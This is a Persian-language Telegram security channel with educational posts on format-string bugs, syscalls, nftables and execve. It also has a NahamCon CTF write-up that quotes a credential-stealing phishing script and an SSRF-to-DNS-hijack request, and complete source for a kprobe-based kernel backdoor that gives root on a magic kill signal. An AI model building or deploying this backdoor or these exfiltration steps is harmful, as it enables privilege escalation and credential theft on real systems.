SecForge
88 subscribers
2 photos
9 links
Owner : @EPOCLYC
Download Telegram
Channel created
سلام چطورین ؟
امروز اومدیم یه کد ساده برسی کنیم و بعدش برسیم به یه آسیب پذیری که ببینیم چطوری موجبش میشه و چی هست اصلا:
#include <stdio.h>
int main() {
    char mmd[100];
    fgets(mmd, sizeof(mmd), stdin); 
    printf(mmd);                    
    return 0

برای برسی این کد باید یه آسیب پذیری به اسم Format String آشنا باشیم. زمانی مشهور شد که این آسیب پذیریو توی apache , wu-ftpd اکسپلویتش کردن. در حالت عادی printf میاد از ما یه format میگیره برای اینکه مشخص کنه خروجی ما به چه حالتی هستش مثلا (d,"i%")printf میاد حالا عدد صحیح برا ما پرینت میگیره حالا فکر کن کاربر بیاد ورودی mmd 3 تا %x بزاره اون موقع چی میشه؟
در واقع printf میاد اون رو به عنوان فرمت تفسیر میکنه و به چاپ رشته میاد شروع به خوندن مقادیر stack میکنه و حالا میتونه با p% بیاد ادرس های حافظه ببینه و s% بیاد رشته هایی که توی حافظه هستن رو بخونه و .... خطرناک ترین حرکتی که میتونه پیاده کنه استفاده از GOT رو به RCE دلخواه خودش برسونه. با این حرکت میشه حمله هایی مثل memory leak , arbitrary write  و چیزای دیگه پیاده سازی کردش .
یکی از روشایی که میشه ازش محافظت کرد استفاده از checksec هست که وضعیتشو برسی میکنه که در چه حالتی هستش مثل چک کردن stack canary ,Aslr ....
بعدشم میشه از خود کامپایلرمون با ست کردن سویچ های -fstack-protector-strong و -Wformat-security
و ... موقع کامپایل کردنشون هست.

Join channel⚡
❤7
Please open Telegram to view this post
VIEW IN TELEGRAM
سلاام دوباره آقا امشب اومدیم یه رایتاپ میشه گفت خوب که مربوط به nahamcon هست بزاریم امیدوارم لذت ببرین

توی شروع کار ما اول یه سورس داریم که توی آدرس https://www.googletagmaneger.com/gtag/js?id=UA-978312237-6 هستش :

<script async src="https://www.googletagmaneger.com/gtag/js?id=UA-978312237-6"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-978312237-6');
</script>

بعد از رفتن به صفحه سورسش یه فایل js داریم که کد زیر داخلشه :
var bb = 'lo';
var cd = 'Btn';
var ccr = 'gin';

document.getElementById(bb + ccr + cd).addEventListener("click", function() {
var a_1 = 'htt';
var a_2 = 'ps://';
var a_3 = 'hac';
var a_4 = 'kboo';
var a_5 = 'kag';
var a_6 = 'ram';
var a_7 = '.c';
var a_8 = 'om/';
var a_9 = 'log';
var a_10 = 'in';

var e = new XMLHttpRequest;
e.open("POST", a_1 + a_2 + a_3 + a_4 + a_5 + a_6 + a_7 + a_8 + a_9 + a_10, true);
e.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
e.onload = function() {
var t = JSON.parse(e.responseText);
if (console.log(), 201 == e.status) {
var n = btoa("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);
document.body.innerHTML = document.body.innerHTML + '';
window.location = t[0];
} else {
alert(t[0]);
}
};
e.send("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);
event.stopImmediatePropagation();
});

بخش مهمی که این کد داره اینه که برنامه نویس اومده از bota برای base64 کردن username password استفاده کرده و اینا به این آدرس ارسال میشن https://www.googletagmaneger.com/event?e=‘ + n + ‘
کدی که دربارش حرف زدیم :
var n = btoa("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);

توی اینجا معمولاxss جوابه و رفتیم تو کارش و چون مرورگر ما کروم هدلس بود پس یکم خیالمون راحت شد که میتونه جاوااسکریپت پردازش کنه و به صورت زیر بود:

178.62.61.49 - - [14/Jun/2020:16:36:45 +0000] "GET /imgtest HTTP/1.1" 404 3807 "https://www.googletagmaneger.com/view/a3e4ddefccd4d6ba506febedef7ccbc3" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/83.0.4103.97 Safari/537.36"

در اینجا اومدیم و با img tag xss پیاده کردیم ولی به چیز خاصی نرسیدیم و کوکی و داده خاصی بهمون برگشت داده نمی شد . بعد یه مقدار ریکان رسیدیم به آیپی http://178.62.61.49 و الان یه سورس جدید توی این آدرس برای برسی داشتیم به نام public.js که سورسش رو توی بخش پایین میزارم:
$('.connection-test').click(function() {
$.post('/connection-test', { node: 'us1' }, function(resp) {
$('.connection-result').html('<div class="alert alert-success"><p>' + resp + '</p></div>');
}).fail(function(resp) {
$('.connection-result').html('<div class="alert alert-danger"><p>' + resp.responseJSON[0] + '</p></div>');
});
});

شمام فکر کنم وقتی مقدار connection و node میبینید دلتون میره سمت ssrf پس میریم که تستش کنیم که درخواست ما به این شکل بود:
POST /connection-test HTTP/1.1
Host: 178.62.61.49
...
node=192.168.1.1

و ریسپانس 200 دریافت کردیم :
<div><input class="form-control" name="i_username" value="6422451584@fasternetbb.dsl"></div>
<div><input class="form-control" type="password" name="i_password" value="Bpi5!9fiLeikmeHmN"></div>
<div><input class="form-control" name="dns_server" value="8.8.8.8"></div>
<script src="/js/private.js"></script>

محتوای داخل 192.168.1.1 که اگه دقت کنیم یه private.js میبینیم که به شکل زیر بوده :
`JS
$('.setConnection').click(function() {
var username = $('input[name="i_username"]').val();
var password = $('input[name="i_password"]').val();
$.get('/set/connection?username=' + username + '&password=' + password, function(resp) {
alert(resp);
});
});
❤1
$('.setDN

S').click(function() {
var server = $('input[name="dns_server"]').val();
$.get('/set/dns?server=' + server, function(resp) {
alert(resp);
});
});


توی این بخش اگه بتونیم SET/DNS کنترل کنیم میشه گفت عملا میتونیم به ترافیک دسترسی داشته باشیم پس توی این بخش با استفاده از این کد یه dns server راه انداختیم https://gist.githubusercontent.com/pklaus/b5a7876d4d2cf7271873/raw/cb089513b185f4128d956eef6e0fb9f5fd583e41/ddnsserver.py
و روی پورت 443 با netcat روی لیستن میزاریم : ncat -lv 443 و توی بخش بعدی این درخواستو ارسال میکنیم:

js
POST /connection-test HTTP/1.1
Host: 178.62.61.49
...
node=192.168.1.1/set/dns?server=173.230.148.69#

shell
در نتیجه درخواست به سرور ما میومد ولی چون ssl بود و ما گواهیشو نداشتیم یه مشت چرندیاتو میدیدیم و با رفتن به بخش اول که شروع کردیم و یه مقدار گشتن به اینurl میرسیم https://www.googletagmaneger.com/event?include=asdf که یه خطای xdebug به ما نشون داد و خطا نشون دهده LFI بود ولی کاراکتر های @ , / توی بلک لیست بودن و با استفاده از آیپی خود سایت با یه مقدار fuzz به این بخش رسیدیم http://142.93.46.249/datacollection/ssl/ و الان ssl داشتیم و کدی که اون بالا بود اجرا کردیم :
python3 dns.py --port 53 –udp
و بعد این دستورو به netcat اضافه کردیم:
ncat -lv 443 --ssl-cert=/home/CTF/certs/fullchain.pem --ssl-key=/home/CTF/certs/privkey.pem
و بعد همون درخواستو تکرار کردیم و تماممم SSRF و ترافیکو گرفتیم و کارو جمع کرد

Ncat: Connection from 178.62.61.49:50284.
GET /api/poll HTTP/1.1
Host: www.googletagmaneger.com
User-Agent: curl/7.58.0
Accept: */*
X-Token: 779549E7865D034D9A9DB34401DA2157

بعد هم با یه مقدار fuzz به بخش /api/cookie رسیدیم و با ارسال درخواست به این بخش تونستیم کوکی معتبر رو دریافت کنیم:
HTTP/1.1 200 OK
...
{"description":"Login Cookie","data":"NzQ1NWYxYmJkYzczM2YwYTkzMzg2MjE5MmIxNTFhN2VlNGI0NmQyM2EwYjNlMzBiMzc3NGE2NTVhYzE5MzBiMDE1MWY2NGQ5MzE1ZjJhZmEzY2VlYTcyZDFlNjNmMjQ3YTZhNTQzM2U1ODBjOWIzZGJhYWQyMmNiZTcxYzU5NTA="}
`

و در نهایت این کوکی برای سایت اول ست میکنیم و flag به دست میاریم.

https://buer.haus/2020/06/14/nahamcon-trash-the-cache-write-up-web-1000/

Join channel⚡
❤3
خب سلام چطورین؟
امروز میخوایم ببینیم FD چی هستش و اصلا syscall ها چطور کار میکنن؟؟
یک File Descriptor یا FD تو کرنل لینوکس یک عدد صحیح غیر منقی هستش که به عنوان یک شناسه برای یک  Open Resource در یک فرآیند عمل می‌کنه و  یه جمله که همیشه درباره لینوکس میگن اینه که همه چیز یک فایل است پس FD می‌تونه به انواع مختلفی از منابع اشاره کنه: یک فایل معمولی روی دیسک، یک دایرکتوری، یک پایانه ترمینال، یک سوکت شبکه، یک pipe یا حتی یک دستگاه سخت‌افزاری.
توی کرنل هر پراسس یک file descriptor table داره که مثل یه آرایه عمل میکنه و این جدول هر عدد صحیح به ساختار داخلی به نام struct file تبدیل میکنه . struct file حاوی تموم اطلاعات مورد نیاز کرنل برای مدیریت اون ریسورس هستش که برای read , write , open استفاده میشه . یکم بخوایم دیپ بشیم زمانی این FD میاد رو کار که این (path)OPEN اگه این بخش false باشه خب exit میشه ولی در غیر این صورت اگه درست باشه میاد و یه عدد میگیره که 3 تاشون خیلی معروفن و رزرو شده هستن => 0 و 1و2 => STDIN , STDOUT , STDERR که توی کد پایین نمونش رو داریم میبینیم:
#include <stdio.h>
#include <fcntl.h>    
#include <unistd.h>   
#include <errno.h>    
#include <string.h>   

int main() {

    int fd = open("test.txt", O_RDONLY | O_CREAT, 0644);
    if (fd == -1) {
        printf("err: %s\n", strerror(errno));
        return 1;
    }
    printf("success! FD: %d\n", fd);
   

    close(fd);
    printf("closed.\n");
   
    return 0;
}

اینجا ما یه syscall داریم که ()open هستش . بخش بعدی مربوط به O_RDONLY هستش که یعنی فقط دسترسیمون درحد خوندن باشه و O_CREAT هست که اگه فایل مورد نظر موجود نبود ساخته بشه.0644 هم منظورش دسترسی سازنده فایل هستش که فقط مالک دسترسی read , write داره و بقیه فقط Readonly هستش.
تا اینجا حدودی با FD , دلیل وجود و کاربردش  و ... اشنا شدیم و الان بریم سر وقت syscall.
در واقع syscall یه مترجم یا بخوام خیلی بخوام مرامی بگم API بین  user space , kernel space هستش . userspace بخوام بگم یه محیطی هستش که حالا وب سرور ها و ادیتورها و ... توی اون بخش اجرا میشن و یه بخش محدود هستش و دسترسی کامل به فضای آدرس دهی نداریم و دسترسیمون به سخت افزار خیلی محدوده. kernel space میشه گفت همه چیز زیر دستشه و میتونه کنترلشون کنه مثل حافظه و سخت افزار و ... و ارتباط مستقیم با cpu , ram داره و دسترسی نا محدود به منابع کل سیستم داره.
برنامه هایی که توی userspace هستن برای برای انجام کارشون نیاز به kernlspace دارن که syscall میاد وسط مثل fork , kill , ioctl , getpid , ...
خب اصلا ساختار syscall چطوریه و چی هستش؟
ببین ادرس دهی توی x86-x64 لینوکس برای انجام یه syscall از دستور syscall استفاده میشه و قبل از اجرای این دستور رجیستر ها به ترتیب زیر ادرس دهی میشن :
RAX => شماره syscall(میتونین با دستور ausyscall شماره syscall ها و عدد هاشونو ببینید.)
بقیه رجیستر ها rdi , rsi , rdx , r10 , r8 , r9 متغیر هارو میگیرن و تمام. اگه خطایی رخ بده rax منفی میشه (مثلاً -1) و errno توی یه جای دیگه ذخیره میشه.
اینجا میخوایم یه hello world رو write کنیم با ساختار خودش تا کامل این بخش هم درک کنیم:

section .data
    msg db 'Hello, World!', 0x0A 
    len equ $ - msg               

section .text
    global _start

_start:
    ; Syscall write
    mov rax, 1        
    mov rdi, 1         
    mov rsi, msg       
    mov rdx, len      
    syscall           
   
    mov rax, 60        
    mov rdi, 0        
    syscall            

خب توی این بخش RAX برابر 1 شده که منظورش syscall write هستش rdi هم 1 هست که منظورش STDOUT هست بخش rsi برابر hello world و بخش rdx هم برابر len هست و این کد میتونین با دستور:
nasm -f elf64 hello.asm -o hello.o
ld hello.o -o hello
./hello

اجراش کنین.
امیدوارم لذت برده باشین.
Join channel ⚡
❤4
Forwarded from Sec Note
❤3
این ۴ روزو درگیر بودم امشب دوباره شروع میکنیم⚡
❤4
سلام چطورین؟
یه مقداری داشتم درباره iptables میخوندم و اومدن nftables به جای این فایروال قدیمی که خب واضح تر و درست بخوام بگم همون packet filter خودمون میشه که بر پایه فریم ورک netfilter هستش داخل کرنل(البته اینم بگم خود nftables هم جزئشه).
فایروال شبکه لینوکس در داخل خود kernel انجام میشه . ابزار ها و دیمون های userspace میتونن اون رو مدیریت و کانفیگ کنن ولی اونا فقط اطلاعات پیکربندی به kernel میفرستن.لاگ های فایروال هم از سمت kernel rings buffer ارسال میشه.
قابلیت فایروال nftables یه پیشرفت گنده ای که نسبت به iptables داشته اینه که علاوه بر فیلترینگ ipv4 , ipv6 , mac داخل یه فایل .conf ترکیب میکنه اینه که برای هر rule چندین action انجام بدیم که خب چیز جالبیه.
مسیر => /etc/nftables.conf یا /etc/nftables/
من تو اینترنت گشتم و حقیقتا یه فایل پیکربندی پیدا کردم و پایین میزارمش :

table inet filter {
    chain input {
        type filter hook input priority 0;
        ct state {established, related} accept
        iifname lo accept
        ip protocol icmp accept
        tcp dport 22 accept
        reject with icmp type port-unreachable
    }
    chain forward {
        type filter hook forward priority 0;
        drop
    }
    chain output {
        type filter hook output priority 0;
    }
}
داخل nftables همه rule ها داخل یک Tables قرار میگیرن و ساختارشون اینطوریه(اگه یه مقدار مفهوم بد رسوندم پیوی بگین بیشتر توضیحش بدم) :
table
chain{
rule
rule
...
}chain
بعد از این مورد ما inet ها رو داریم . چیزی که family جدول مشخص میکنه و family های موجود اینها هستن:
ipv4,ipv6,inet,arp,brindge,netdev
داخل rule که تعریف کردیم ient هست یعنی قوانین روی v4,v6 هر دو اعمال میشه!
بخش اول یا بهتره بگیم chain اول درباره input ها یا اعمال قوانین روی packet هایی هستش که وارد سیستم میشه مثلا ssh , http , icmp , ...
اگه دقت کنیم اول اول نوشتیم type filter که ما کبل 3 تا تایپ اصلی داریم filter , net , route در اینجا filter تصمیم میگیره accept یا drop انجام بده
بخش بعدی نوشته شده hook input (یه مقدار بر میگرده به netfilter که چند تا نقطه هوک کردن داره incoming , prerouting , input , application که خب وقت بشه بعدا دربارش حرف میزنیم) توی این بخش input نوشتیم که یعنی این chain هنگام وارد شدن پکت به خود سیستم اجرا بشه.
بخش بعدی که داره priority 0 هستش که اگه چند تا chain روی همون hook باشن الویت بندی میکنه که کی زودتر اجرا بشه که از -100 تا 100 هستش.
اینجا همون rule اول توضیح میدیم
ct state { established, related } accept
مهم ترین rule هر firewall . خب یعنی چی؟ یعنی اینکه کرنل وضعیت connection ها رو نگه میداره
اینجا established یعنی کانکشن قبلا برقرار شده . related یعنی یه کانکشن جدید ایجاد شده ولی مرتبط به اون کانکشن قبلی هستش مثل ftp یا icmp err.
بخش بعدی iifname lo accept هستش یعنی incoming interface name که من اینترفیس loopback یعنی lo گزاشتم یعنی اگه برنامه ای داشت با خودش ارتباط برقرار میکرد نباید بلاک بشه و accept هستش.
یه rule دیگه ای که دوست دارم دربارش بگم و این بحثو تموم کنیم tcp dport 22 accept که میگه اگه کانکشن tcp بود و destination port برابر 22 بود قبول کن و به همین اسونی
شاید سواله چرا این rule ها اشنا هستن؟
https://oneuptime.com/blog/post/2026-03-20-tcpdump-bpf-filter-expressions/view
https://andreaskaris.github.io/blog/networking/bpf-and-tcpdump/
https://docs.kernel.org/bpf/
یه سر بهش بزنید بد نیست❤️
Join channel ⚡
❤6
سلام چطورین
یکمی قراره درباره ftrace و هوک کردن توضیح بدیم حالا اگه اوکی بود فیلمشم میزاریم
🔥5
رتبه چهارمو گرفتیم ولی این وسط خیلیا حرکتای عجیبی در آوردن😉
🔥11❤1
A
سلام چطورین یکمی قراره درباره ftrace و هوک کردن توضیح بدیم حالا اگه اوکی بود فیلمشم میزاریم
#include <linux/module.h>
#include <linux/kprobes.h>
#include <linux/sched.h>
#include <linux/cred.h>
#include <linux/pid.h>
#include <linux/slab.h>

#define MAGIC_SIG 64

static struct kprobe kp;

static int pre_kill(struct kprobe *p, struct pt_regs *regs)
{
    int sig = (int)regs->si;
    pid_t pid = (pid_t)regs->di;
    struct pid *pidp;
    struct task_struct *task;
    const struct cred *old;
    struct cred *new;

    if (sig != MAGIC_SIG)
        return 0;

    pidp = find_vpid(pid);
    if (!pidp)
        return 0;

    task = pid_task(pidp, PIDTYPE_PID);
    if (!task || !task->cred)
        return 0;

    old = task->cred;

    new = kmemdup(old, sizeof(struct cred), GFP_KERNEL);
    if (!new)
        return 0;

    atomic_set(&new->usage, 1);
    new->uid = new->euid = new->suid = new->fsuid = GLOBAL_ROOT_UID;
    new->gid = new->egid = new->sgid = new->fsgid = GLOBAL_ROOT_GID;
    new->cap_effective = new->cap_permitted = new->cap_bset = CAP_FULL_SET;

    rcu_assign_pointer(task->real_cred, new);
    rcu_assign_pointer(task->cred, new);

    put_cred(old);
    put_cred(old);

    pr_info("kbdoor: pid %d -> root\n", pid);
    return 0;
}

static int __init init_mod(void)
{
    kp.symbol_name = "__x64_sys_kill";
    kp.pre_handler = pre_kill;

    if (register_kprobe(&kp) < 0)
        return -1;

    pr_info("kbdoor: loaded\n");
    return 0;
}

static void __exit exit_mod(void)
{
    unregister_kprobe(&kp);
    pr_info("kbdoor: unloaded\n");
}

module_init(init_mod);
module_exit(exit_mod);
MODULE_LICENSE("GPL");

میخوام یه مقدار ماهیت اجرایی این روتکیت گوگولی هستش که حالا اون بخش هوک کردن sys_kill و .... رو جلو ببریم اگه حالا جاییش مشکل داشت میتونین پیویم بیاین بگین که برای فرداشب بخش کاملشو بزارم و لذت ببریم
❤4
A
#include <linux/module.h> #include <linux/kprobes.h> #include <linux/sched.h> #include <linux/cred.h> #include <linux/pid.h> #include <linux/slab.h> #define MAGIC_SIG 64 static struct kprobe kp; static int pre_kill(struct kprobe *p, struct pt_regs *regs)…
خب سلامی دوباره
یه مقداری درگیر کار و .... بودم واقعا وقت نکرده بودم ادامه این پستو به اتمام برسونم و خب الان اومدم که این process هم کیل کنیم😂
خب آقا این کدی که ما داشتیم یه linux kernel module هستش که کارش privilage escalation هست و کاری که میکنیم با استفاده از syscall مربوط به kill() هستش که با استفاده از kprobe اون رو hook میکنیم تا وقتی یه مقدار خاص یا همون MAGIC_SIG 64
خودمون که اینجا 64 هستش دیده بشه.هدفمون چیه؟ این دوستمون بیاد GID,UID رو به 0 تغییر بده یا همون root بکنه مارو .

خب یه نگاهی به منطق کدمون بکنیم الان: وقتی kill(PID, 64) استفاده میشه سیسکال __x64_sys_kill()
صدا زده میشه و kprobe وارد کار میشه و میبینه که اصلا سیگنالی که دادیم چند هستش اگه 64 بود PID تسک رو پیدا میکنه و UID و GID رو برابر 0 میکنه capabilities ما رو هم full میکنه و task که ما داشتیم کلا عوض میشه و سطح دسترسی پراسس ما تبدیل به روت میشه .
مکانیزم اصلی hook کردن رو با استفاده از kprobe.h در بخش زیر آوردیم :
module_init()
module_exit()
MODULE_LICENSE()

در بخش اول این بکدور ما خودش رو وارد کرنل میکنه بعد از انجام load module با استفاده از register_kprobe() که باعث میشه کرنل روی تابع مربوط به kill یه probe داشته باش.
توی اول بخش کد اگه نگاه کنین ما یه مجیک سیگنال تعریف کردیم که مقدار اون رو 64 گزاشتیم یعنی چی؟
هر موقع که اون سیسکال kill سیگنال 64 رو دریافت کرد این kprobe ما بیاد تو کار و اون PID که بهش دادیم رو بیاد و hook کنه .
کرنل اول میره سراغ process و اینجا با استفاده از task_struct انجام میشه که یعنی اینکه اول از شماره PID به خود پراسس میرسه و بعد به credential ها یا دسترسی هایی که داره میرسه . یه اشاره ریز به credential بکنیم یعنی اطلاعاتی که درباره هویت و مجور یه پراسس داریم : UID , EUID , GID , EGID , capabilities و ...
توی اینجا اگه UID , GID که داریم برابر 1000 باشه توی این بخش بکدور میاد یه کردنشیال جدید میسازه و اینا رو برابر 0 قرار میده .
بعد از ساختن یه کردنشیال جدید میاد و اون رو وارد پراسس میکنه اینجاست که پریویلیج اسکلیشن رخ میده و بکدور ما کار خودشو میکنه .
فیلم عملیشو حتما توی یکی دو روز آینده میزارم
دمتون گرم 💥

Join channel⚡
❤4
خب سلام اومدیم یه مقدار درباره execve یه توضیح بدیم که احتمالا همتون وقتی یکم با strace کار میکنین این syscall میبینید . کارش بخوام خیلی کوتاه بگم اینه که میاد یه image  پروسه فعلی رو با یه برنامه جدید جایگزین میکنه . شاید بگی عین fork هست ولی نه توی این عمل process جدید درست نمیشه بلکه همونه ولی فقط اون برنامه ای که درحال اجرا بود جایگزین میشه و یه برنامه جدید اجرا میشه .
سینتکسش هم به صورت زیره:
int execve(
    const char *pathname,
    char *const argv[],
    char *const envp[]
);

pathname خب مربوط به مسیر اون فایل اجرایی هست که میخوایم توی پراسس فعلی اجرا بشه /bin/ls
argv هم مربوط به آرگومان هایی هست که اون فایل اجرایی ما میگیره مثلا ss -t
envp هم مربوط به اون متغیر های Environment هستش.

بخوایم الان با توجه به توضیحایی که بالا دادیم این بخشا رو پر کنیم به صورت زیر در میاد
execve("/bin/ls", args, env);

حالا برای مثال اگه بخوایم  ls -la بگیریم متغیر args باید به صورت زیر پر کنیم :
char *args[] = {
    "ls",
    "-l",
    "/home",
    NULL
};

اینم یادتون باشه آخر آرایه هم باید با NULL پر بشه که سیستم بفهمه آرگومان ها کجا به اتمام میرسند .
در واقع اینطوریه :
./main_program:
#include <stdio.h>
#include <unistd.h>

int main()
{
    char *args[] = {
        "program2",
        "hello",
        "world",
        NULL
    };
    printf("Before execve\n");
    execve("./program2", args, NULL);
    printf("After execve\n");
    return 0;
}

./program2:
#include <stdio.h>
int main(int argc, char *argv[])
{
    printf("I am program2\n");
    printf("argc = %d\n", argc);
    for (int i = 0; i < argc; i++)
    {
        printf("argv[%d] = %s\n", i, argv[i]);
    }
    return 0;
}

خب توی این بخش میاد آرگومان های داده شده توی برنامه اول رو در برنامه دوم به نمایش میزاره و میشه گفت تمام کاری که میکنه همینه .یه نکته دیگه هم اینه که pid این برنامه اگه 100 بار این وسط برنامه جدید با execve  بیاد وسط عوض نمیشه و جدا از اون وقتی یه برنامه جدید با execve اجرا میشه ادامه کدی که توی برنامه اول داریم اجرا نمیشه مگر اینکه به خطا بخوریم توی اجرا کردن برنامه دوم .
و در آخر، کنار execve چندین تابع کتابخانه‌ای هم وجود داره که همگی wrapper هستن و execve رو صدا می‌زنن execl، execlp، execle، execv و execvp که خب یه سری تفاوت دارن و زیاد توشون دیپ نمیشیم .

Join channel⚡
❤3